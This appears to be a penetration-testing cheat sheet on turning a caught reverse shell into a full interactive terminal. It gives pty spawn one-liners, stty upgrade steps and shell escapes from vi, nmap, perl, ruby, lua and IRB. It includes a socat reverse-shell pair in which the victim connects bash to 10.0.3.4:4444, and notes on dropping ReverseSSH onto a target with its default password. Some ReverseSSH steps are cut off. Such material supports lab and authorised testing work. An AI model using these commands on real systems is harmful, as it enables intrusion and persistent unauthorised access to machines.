Fix Shell

Interactive Shell

It's asking you for a terminal type. Type `xterm` and you should have it. From my understanding:

python -c 'import pty; pty.spawn("/bin/bash")'
or
echo 'os.system('/bin/bash')'
or
/bin/bash -i

  
Ctrl + Z
stty raw -echo 
fg
reset
xterm 

Full TTY

Note that the shell you set in the SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found the /etc/shells file This incident has been reported. Also note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.

python3 -c 'import pty; pty.spawn("/bin/bash")'(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
script -qc /bin/bash /dev/null(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
#Listener:socat file:`tty`,raw,echo=0 tcp-listen:4444​#Victim:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

  • python -c 'import pty; pty.spawn("/bin/sh")'

  • echo os.system('/bin/bash')

  • /bin/sh -i

  • script -qc /bin/bash /dev/null

  • perl -e 'exec "/bin/sh";'

  • perl: exec "/bin/sh";

  • ruby: exec "/bin/sh"

  • lua: os.execute('/bin/sh')

  • IRB: exec "/bin/sh"

  • vi: :!bash

  • vi: :set shell=/bin/bash:shell

  • nmap: !sh

ReverseSSH

A convenient way for interactive shell access, as well as file transfers and port forwarding, is dropping the statically-linked ssh server ReverseSSH onto the target.

Below is an example for x86 with upx-compressed binaries. For other binaries, check releases page.

  1. Prepare locally to catch the ssh port forwarding request:

  • (2a) Linux target:

  • If the ReverseSSH port forwarding request was successful, you should now be able to log in with default password letmeinbrudipls in the context of the user running reverse-ssh(.exe):

No TTY

If for some reason you cannot obtain a full TTY you still can interact with programs that expects user input. In the following example, the password is passed to sudo to read a file:

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